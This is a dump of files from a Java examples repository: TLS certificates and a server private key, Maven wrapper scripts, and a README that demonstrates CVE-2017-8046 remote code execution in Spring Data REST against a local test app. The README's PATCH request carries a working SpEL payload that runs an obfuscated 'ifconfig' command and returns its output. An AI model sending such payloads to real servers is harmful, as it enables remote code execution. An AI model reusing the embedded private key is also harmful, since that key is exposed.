IEx0ZDEOMAwGA1UEAwwFcGF2ZWwxJDAiBgkqhkiG9w0BCQEWFWluZm9AcGF2ZWxz 5 | a2xlbmFyLmNvbTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAKQs9cIX 6 | UErdImzR3m4mqnSwHn/4qQSwfoCSNVxQGfqVQ15GhFBzdyl01fxBEQwj89BmTl+1 7 | 3OZiV8eS2aNlR4mwsjFY3ECKDOBmgFyiYv6uoKmTk0mUjGMXY+D95DSQrD3hVGhs 8 | iIwO8dUeZk+DAgArwAScdWTkCpenKT9+/NA7IFFUriwWJv8W89zRhEyAR4onhr4E 9 | fua0dJp+XItJug29a+7pbx89F6ZqPkGTBvFJ6oSBJR60LIekaeXgyA1XkdSbITE6 10 | lDb0Kk3HAoIqkOVaqwnmyOBEhPb+wxu7xviINTuRpdCYJs8N2vZkJ74B5IAMVLsk 11 | BWTBW82kLZeRQwfs/wqaL58sZ2kTffvVGLmY97685IB6WHI6/fTeKb6o5q1o01y0 12 | 2d955mJn62V2VS3JIpIuCcc2Ux3z0bqjBFSvvuq6oh0RKqn1WaclbQzS/ajdjwnn 13 | ZuQsn6jccV1C6CoyRsb8UlzR8dWlWTcqLh8QBN/KxmQHNx1r/h0xDs4nIVh9vZNT 14 | x9189TP1B6bbIfHpPEVTNLPo+Hltmc7vQxWAgNUt2FTSein6TjqwZpWDXcyn9lTz 15 | Bv8YmTtBWFJKyjKWXgw5xyxqcY2lCJoHyvsRvoMZAO1wVZvliMfLH9bt9ZwDC58U 16 | 9XFMmRLZpblAS/dWvV8ChI0p1VkQwFvMELEZAgMBAAGgADANBgkqhkiG9w0BAQsF 17 | AAOCAgEAFW8dlNFta07CD7b3pK3aMbHSYRxz8nnyqmVutCD9Nut3eMD6EhEDaCFK 18 | a4lfyizWo+o5Axgan3YtghL7u+aDsjzUBMqWFqQuA0OcMHUljEvCHI1VnJ2Ax+V3 19 | 0KYYTra/t9AYATineu6EwvLw07guUUGkaIiJsz3jwXQlswUmE2UqwNhKXY9cAu7Q 20 | vBSSgm1ktLLWJm2RCYuKkAhPXJx0xqGxwdBXniFcvZmy2zox++dWHpBacpOveAnl 21 | S2gWRH/DHwS2mxYBTG9Bo+m8LiKZtGx57eUfg+0j1Hka8c9TlvzsFKnBua8rG1I8 22 | PWjM6uLHhsbMX23WFnISdktLHg97PLu4gYOEiKYGulKGiFbmf+vcRJMI6wyc37pi 23 | KKTeoX+Nb+NLDC0/hFdRTREgK1igBykMly5MPra9meJzsI2xqh3i0LNipWvti9mj 24 | kR1vcAwFuamH4SzN9C7OV/kvasF9cK1aJJj/wkM/G7OqOeemStJ7gFM+YJchp+ni 25 | s8aqBC8a3BAzmxosfLs/oHoOnPYuT83h4oDIRVtmk1rUp0Hbo9SOzYNAp1jXvPrv 26 | ffHRL/XPvH45BzbEA/qafS9nL629oWQzUnhkqq40JWqB15PItYMF194qdxA5b501 27 | 7kcbIoGcLpqaUpNGGjTmx6BZOgPt/5kqtLoi21NQz1y6Qwy/0LY= 28 | -----END CERTIFICATE REQUEST----- 29 | -------------------------------------------------------------------------------- /spring-rest-api-client-auth/ssl/server/keyStore.p12: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pajikos/java-examples/4bde9ed4a66a15466d6a63c43f957e8118885e47/spring-rest-api-client-auth/ssl/server/keyStore.p12 -------------------------------------------------------------------------------- /spring-rest-api-client-auth/ssl/server/server.crt: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | 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 32 | 9Z1T0Dqa3RxgaGbgdc1AtTAAMzHWiPzCNtU= 33 | -----END CERTIFICATE----- 34 | -------------------------------------------------------------------------------- /spring-rest-api-client-auth/ssl/server/serverPrivateKey.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PRIVATE KEY----- 2 | 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 51 | 6CmgTsmFiNPFJFK2Ooch/GiCKdQbKGc= 52 | -----END PRIVATE KEY----- 53 | -------------------------------------------------------------------------------- /spring-rest-data-exploit/.gitignore: -------------------------------------------------------------------------------- 1 | /target/ 2 | !.mvn/wrapper/maven-wrapper.jar 3 | 4 | ### STS ### 5 | .apt_generated 6 | .classpath 7 | .factorypath 8 | .project 9 | .settings 10 | .springBeans 11 | .sts4-cache 12 | 13 | ### IntelliJ IDEA ### 14 | .idea 15 | *.iws 16 | *.iml 17 | *.ipr 18 | 19 | ### NetBeans ### 20 | /nbproject/private/ 21 | /build/ 22 | /nbbuild/ 23 | /dist/ 24 | /nbdist/ 25 | /.nb-gradle/ -------------------------------------------------------------------------------- /spring-rest-data-exploit/.mvn/wrapper/maven-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pajikos/java-examples/4bde9ed4a66a15466d6a63c43f957e8118885e47/spring-rest-data-exploit/.mvn/wrapper/maven-wrapper.jar -------------------------------------------------------------------------------- /spring-rest-data-exploit/.mvn/wrapper/maven-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.5.4/apache-maven-3.5.4-bin.zip 2 | -------------------------------------------------------------------------------- /spring-rest-data-exploit/README.md: -------------------------------------------------------------------------------- 1 | ## Example of CVE-2017-8046: RCE in PATCH requests in Spring Data REST 2 | Malicious PATCH requests submitted to servers using Spring Data REST backed HTTP 3 | resources can use specially crafted JSON data to run arbitrary Java code. 4 | 5 | ### Affected Pivotal Products and Versions 6 | * Spring Data REST versions prior to 2.6.9 (Ingalls SR9), 3.0.1 (Kay SR1) 7 | * Spring Boot (if Spring Data REST module is used) versions prior to 1.5.9, 2.0 M6 8 | 9 | More info: https://pivotal.io/security/cve-2017-8046 10 | 11 | ### How to test? 12 | #### Checkout this project 13 | 14 | #### Run Spring Boot application 15 | It is a Spring Boot application with embedded Tomcat, so run the main class **SpringRestDataExploitExampleApplication** 16 | 17 | #### Add a new user 18 | To make a successful exploit test, run the following POST: 19 | ``` 20 | POST http://localhost:8080/users 21 | Content-Type: application/json 22 | 23 | { 24 | "name": "Test", 25 | "email": "test@test.com" 26 | } 27 | ``` 28 | #### Make exploit using PATCH: 29 | ``` 30 | PATCH http://localhost:8080/users/1 31 | Content-Type: application/json-patch+json 32 | 33 | [{ 34 | "op": "replace", 35 | "path": "T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec((T(java.lang.System).getProperty(\"os.name\").toLowerCase().contains(\"win\")?\"cmd \"+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+\"c \":\"\")+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(112)[0],T(java.lang.Character).toChars(99)[0],T(java.lang.Character).toChars(111)[0],T(java.lang.Character).toChars(110)[0],T(java.lang.Character).toChars(102)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(103)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x", 36 | "value": "pwned" 37 | }] 38 | ``` 39 | The previous PATCH sends the result of the **ifconfig** command back from server to you. 40 | 41 | I have attached a more flexible client to make your own tests: the class SpringBreakCve20178046 with its own command line. 42 | Source code comes from https://www.exploit-db.com/exploits/44289. -------------------------------------------------------------------------------- /spring-rest-data-exploit/mvnw: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # ---------------------------------------------------------------------------- 3 | # Licensed to the Apache Software Foundation (ASF) under one 4 | # or more contributor license agreements. See the NOTICE file 5 | # distributed with this work for additional information 6 | # regarding copyright ownership. The ASF licenses this file 7 | # to you under the Apache License, Version 2.0 (the 8 | # "License"); you may not use this file except in compliance 9 | # with the License. You may obtain a copy of the License at 10 | # 11 | # http://www.apache.org/licenses/LICENSE-2.0 12 | # 13 | # Unless required by applicable law or agreed to in writing, 14 | # software distributed under the License is distributed on an 15 | # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 16 | # KIND, either express or implied. See the License for the 17 | # specific language governing permissions and limitations 18 | # under the License. 19 | # ---------------------------------------------------------------------------- 20 | 21 | # ---------------------------------------------------------------------------- 22 | # Maven2 Start Up Batch script 23 | # 24 | # Required ENV vars: 25 | # ------------------ 26 | # JAVA_HOME - location of a JDK home dir 27 | # 28 | # Optional ENV vars 29 | # ----------------- 30 | # M2_HOME - location of maven2's installed home dir 31 | # MAVEN_OPTS - parameters passed to the Java VM when running Maven 32 | # e.g. to debug Maven itself, use 33 | # set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 34 | # MAVEN_SKIP_RC - flag to disable loading of mavenrc files 35 | # ---------------------------------------------------------------------------- 36 | 37 | if [ -z "$MAVEN_SKIP_RC" ] ; then 38 | 39 | if [ -f /etc/mavenrc ] ; then 40 | . /etc/mavenrc 41 | fi 42 | 43 | if [ -f "$HOME/.mavenrc" ] ; then 44 | . "$HOME/.mavenrc" 45 | fi 46 | 47 | fi 48 | 49 | # OS specific support. $var _must_ be set to either true or false. 50 | cygwin=false; 51 | darwin=false; 52 | mingw=false 53 | case "`uname`" in 54 | CYGWIN*) cygwin=true ;; 55 | MINGW*) mingw=true;; 56 | Darwin*) darwin=true 57 | # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home 58 | # See https://developer.apple.com/library/mac/qa/qa1170/_index.html 59 | if [ -z "$JAVA_HOME" ]; then 60 | if [ -x "/usr/libexec/java_home" ]; then 61 | export JAVA_HOME="`/usr/libexec/java_home`" 62 | else 63 | export JAVA_HOME="/Library/Java/Home" 64 | fi 65 | fi 66 | ;; 67 | esac 68 | 69 | if [ -z "$JAVA_HOME" ] ; then 70 | if [ -r /etc/gentoo-release ] ; then 71 | JAVA_HOME=`java-config --jre-home` 72 | fi 73 | fi 74 | 75 | if [ -z "$M2_HOME" ] ; then 76 | ## resolve links - $0 may be a link to maven's home 77 | PRG="$0" 78 | 79 | # need this for relative symlinks 80 | while [ -h "$PRG" ] ; do 81 | ls=`ls -ld "$PRG"` 82 | link=`expr "$ls" : '.*-> \(.*\)$'` 83 | if expr "$link" : '/.*' > /dev/null; then 84 | PRG="$link" 85 | else 86 | PRG="`dirname "$PRG"`/$link" 87 | fi 88 | done 89 | 90 | saveddir=`pwd` 91 | 92 | M2_HOME=`dirname "$PRG"`/.. 93 | 94 | # make it fully qualified 95 | M2_HOME=`cd "$M2_HOME" && pwd` 96 | 97 | cd "$saveddir" 98 | # echo Using m2 at $M2_HOME 99 | fi 100 | 101 | # For Cygwin, ensure paths are in UNIX format before anything is touched 102 | if $cygwin ; then 103 | [ -n "$M2_HOME" ] && 104 | M2_HOME=`cygpath --unix "$M2_HOME"` 105 | [ -n "$JAVA_HOME" ] && 106 | JAVA_HOME=`cygpath --unix "$JAVA_HOME"` 107 | [ -n "$CLASSPATH" ] && 108 | CLASSPATH=`cygpath --path --unix "$CLASSPATH"` 109 | fi 110 | 111 | # For Mingw, ensure paths are in UNIX format before anything is touched 112 | if $mingw ; then 113 | [ -n "$M2_HOME" ] && 114 | M2_HOME="`(cd "$M2_HOME"; pwd)`" 115 | [ -n "$JAVA_HOME" ] && 116 | JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`" 117 | # TODO classpath? 118 | fi 119 | 120 | if [ -z "$JAVA_HOME" ]; then 121 | javaExecutable="`which javac`" 122 | if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then 123 | # readlink(1) is not available as standard on Solaris 10. 124 | readLink=`which readlink` 125 | if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then 126 | if $darwin ; then 127 | javaHome="`dirname \"$javaExecutable\"`" 128 | javaExecutable="`cd \"$javaHome\" && pwd -P`/javac" 129 | else 130 | javaExecutable="`readlink -f \"$javaExecutable\"`" 131 | fi 132 | javaHome="`dirname \"$javaExecutable\"`" 133 | javaHome=`expr "$javaHome" : '\(.*\)/bin'` 134 | JAVA_HOME="$javaHome" 135 | export JAVA_HOME 136 | fi 137 | fi 138 | fi 139 | 140 | if [ -z "$JAVACMD" ] ; then 141 | if [ -n "$JAVA_HOME" ] ; then 142 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then 143 | # IBM's JDK on AIX uses strange locations for the executables 144 | JAVACMD="$JAVA_HOME/jre/sh/java" 145 | else 146 | JAVACMD="$JAVA_HOME/bin/java" 147 | fi 148 | else 149 | JAVACMD="`which java`" 150 | fi 151 | fi 152 | 153 | if [ ! -x "$JAVACMD" ] ; then 154 | echo "Error: JAVA_HOME is not defined correctly." >&2 155 | echo " We cannot execute $JAVACMD" >&2 156 | exit 1 157 | fi 158 | 159 | if [ -z "$JAVA_HOME" ] ; then 160 | echo "Warning: JAVA_HOME environment variable is not set." 161 | fi 162 | 163 | CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher 164 | 165 | # traverses directory structure from process work directory to filesystem root 166 | # first directory with .mvn subdirectory is considered project base directory 167 | find_maven_basedir() { 168 | 169 | if [ -z "$1" ] 170 | then 171 | echo "Path not specified to find_maven_basedir" 172 | return 1 173 | fi 174 | 175 | basedir="$1" 176 | wdir="$1" 177 | while [ "$wdir" != '/' ] ; do 178 | if [ -d "$wdir"/.mvn ] ; then 179 | basedir=$wdir 180 | break 181 | fi 182 | # workaround for JBEAP-8937 (on Solaris 10/Sparc) 183 | if [ -d "${wdir}" ]; then 184 | wdir=`cd "$wdir/.."; pwd` 185 | fi 186 | # end of workaround 187 | done 188 | echo "${basedir}" 189 | } 190 | 191 | # concatenates all lines of a file 192 | concat_lines() { 193 | if [ -f "$1" ]; then 194 | echo "$(tr -s '\n' ' ' < "$1")" 195 | fi 196 | } 197 | 198 | BASE_DIR=`find_maven_basedir "$(pwd)"` 199 | if [ -z "$BASE_DIR" ]; then 200 | exit 1; 201 | fi 202 | 203 | ########################################################################################## 204 | # Extension to allow automatically downloading the maven-wrapper.jar from Maven-central 205 | # This allows using the maven wrapper in projects that prohibit checking in binary data. 206 | ########################################################################################## 207 | if [ -r "$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" ]; then 208 | if [ "$MVNW_VERBOSE" = true ]; then 209 | echo "Found .mvn/wrapper/maven-wrapper.jar" 210 | fi 211 | else 212 | if [ "$MVNW_VERBOSE" = true ]; then 213 | echo "Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ..." 214 | fi 215 | jarUrl="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar" 216 | while IFS="=" read key value; do 217 | case "$key" in (wrapperUrl) jarUrl="$value"; break ;; 218 | esac 219 | done < "$BASE_DIR/.mvn/wrapper/maven-wrapper.properties" 220 | if [ "$MVNW_VERBOSE" = true ]; then 221 | echo "Downloading from: $jarUrl" 222 | fi 223 | wrapperJarPath="$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" 224 | 225 | if command -v wget > /dev/null; then 226 | if [ "$MVNW_VERBOSE" = true ]; then 227 | echo "Found wget ... using wget" 228 | fi 229 | wget "$jarUrl" -O "$wrapperJarPath" 230 | elif command -v curl > /dev/null; then 231 | if [ "$MVNW_VERBOSE" = true ]; then 232 | echo "Found curl ... using curl" 233 | fi 234 | curl -o "$wrapperJarPath" "$jarUrl" 235 | else 236 | if [ "$MVNW_VERBOSE" = true ]; then 237 | echo "Falling back to using Java to download" 238 | fi 239 | javaClass="$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java" 240 | if [ -e "$javaClass" ]; then 241 | if [ ! -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then 242 | if [ "$MVNW_VERBOSE" = true ]; then 243 | echo " - Compiling MavenWrapperDownloader.java ..." 244 | fi 245 | # Compiling the Java class 246 | ("$JAVA_HOME/bin/javac" "$javaClass") 247 | fi 248 | if [ -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then 249 | # Running the downloader 250 | if [ "$MVNW_VERBOSE" = true ]; then 251 | echo " - Running MavenWrapperDownloader.java ..." 252 | fi 253 | ("$JAVA_HOME/bin/java" -cp .mvn/wrapper MavenWrapperDownloader "$MAVEN_PROJECTBASEDIR") 254 | fi 255 | fi 256 | fi 257 | fi 258 | ########################################################################################## 259 | # End of extension 260 | ########################################################################################## 261 | 262 | export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"} 263 | if [ "$MVNW_VERBOSE" = true ]; then 264 | echo $MAVEN_PROJECTBASEDIR 265 | fi 266 | MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS" 267 | 268 | # For Cygwin, switch paths to Windows format before running java 269 | if $cygwin; then 270 | [ -n "$M2_HOME" ] && 271 | M2_HOME=`cygpath --path --windows "$M2_HOME"` 272 | [ -n "$JAVA_HOME" ] && 273 | JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"` 274 | [ -n "$CLASSPATH" ] && 275 | CLASSPATH=`cygpath --path --windows "$CLASSPATH"` 276 | [ -n "$MAVEN_PROJECTBASEDIR" ] && 277 | MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"` 278 | fi 279 | 280 | WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain 281 | 282 | exec "$JAVACMD" \ 283 | $MAVEN_OPTS \ 284 | -classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \ 285 | "-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \ 286 | ${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@" 287 | -------------------------------------------------------------------------------- /spring-rest-data-exploit/mvnw.cmd: -------------------------------------------------------------------------------- 1 | @REM ---------------------------------------------------------------------------- 2 | @REM Licensed to the Apache Software Foundation (ASF) under one 3 | @REM or more contributor license agreements. See the NOTICE file 4 | @REM distributed with this work for additional information 5 | @REM regarding copyright ownership. The ASF licenses this file 6 | @REM to you under the Apache License, Version 2.0 (the 7 | @REM "License"); you may not use this file except in compliance 8 | @REM with the License. You may obtain a copy of the License at 9 | @REM 10 | @REM http://www.apache.org/licenses/LICENSE-2.0 11 | @REM 12 | @REM Unless required by applicable law or agreed to in writing, 13 | @REM software distributed under the License is distributed on an 14 | @REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | @REM KIND, either express or implied. See the License for the 16 | @REM specific language governing permissions and limitations 17 | @REM under the License. 18 | @REM ---------------------------------------------------------------------------- 19 | 20 | @REM ---------------------------------------------------------------------------- 21 | @REM Maven2 Start Up Batch script 22 | @REM 23 | @REM Required ENV vars: 24 | @REM JAVA_HOME - location of a JDK home dir 25 | @REM 26 | @REM Optional ENV vars 27 | @REM M2_HOME - location of maven2's installed home dir 28 | @REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands 29 | @REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending 30 | @REM MAVEN_OPTS - parameters passed to the Java VM when running Maven 31 | @REM e.g. to debug Maven itself, use 32 | @REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 33 | @REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files 34 | @REM ---------------------------------------------------------------------------- 35 | 36 | @REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on' 37 | @echo off 38 | @REM set title of command window 39 | title %0 40 | 